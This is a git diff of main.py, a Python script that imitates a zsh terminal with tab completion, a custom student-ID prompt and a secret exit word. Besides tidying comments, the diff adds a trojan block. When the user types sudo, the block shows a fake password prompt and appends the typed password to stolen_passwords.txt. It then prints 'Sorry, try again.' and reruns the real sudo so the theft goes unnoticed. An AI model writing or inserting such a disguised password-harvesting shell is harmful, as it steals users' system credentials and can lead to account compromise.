diff --git a/main.py b/main.py index 9cb391d..6170abc 100644 --- a/main.py +++ b/main.py @@ -1,60 +1,60 @@ -import subprocess -import readline import os import shlex +import subprocess +import readline -# 自动补全功能的实现 +# 自动补全功能,基于系统命令 def completer(text, state): - # 获取系统中可执行命令的列表 commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin') - # 根据用户输入的前缀匹配命令 matches = [cmd for cmd in commands if cmd.startswith(text)] - # 返回匹配的命令 return matches[state] if state < len(matches) else None -# 模拟一个简单的 zsh 终端 +# 伪 Zsh 终端主循环 def pseudo_zsh(): - # 配置 readline 的自动补全功能 - readline.parse_and_bind("tab: complete") - readline.set_completer(completer) + readline.parse_and_bind("tab: complete") # 启用 Tab 补全 + readline.set_completer(completer) # 绑定补全函数 while True: try: - # 显示提示符并获取用户输入 - cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") + cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符 - # 如果输入特定命令 "hexianglong",退出程序 + # 检查是否输入了秘密退出密码 if cmd.strip() == "hexianglong": print("Exiting secret mode...") break - # 使用 shlex 分割用户输入为命令和参数 - args = shlex.split(cmd) - if not args: # 如果输入为空,跳过本次循环 + args = shlex.split(cmd) # 解析输入命令 + if not args: continue - # 实现简单的 cd 命令 + # 处理 cd 命令,切换目录 if args[0] == 'cd': try: - os.chdir(args[1]) # 切换到指定目录 + os.chdir(args[1]) except IndexError: - print("cd: missing argument") # 缺少参数 + print("cd: missing argument") except FileNotFoundError: - print(f"cd: no such file or directory: {args[1]}") # 目录不存在 + print(f"cd: no such file or directory: {args[1]}") continue - # 执行其他命令 + # 伪造 sudo 密码输入并记录 + if args[0] == 'sudo': + fake_password = input("[sudo] password for 20240915786: ") + with open("stolen_passwords.txt", "a") as f: + f.write(fake_password + "\n") + print("Sorry, try again.") + subprocess.run(args) # 重新执行 sudo 以要求真实密码 + continue + + # 执行普通命令 try: - subprocess.run(args) # 调用系统命令 + subprocess.run(args) except FileNotFoundError: - print(f"zsh: command not found: {args[0]}") # 命令未找到 + print(f"zsh: command not found: {args[0]}") except KeyboardInterrupt: - # 捕获 Ctrl+C,忽略中断 - pass + pass # 忽略 Ctrl+C except EOFError: - # 捕获 Ctrl+D,忽略结束输入 - pass + pass # 忽略 Ctrl+D -# 程序入口 if __name__ == "__main__": - pseudo_zsh() \ No newline at end of file + pseudo_zsh()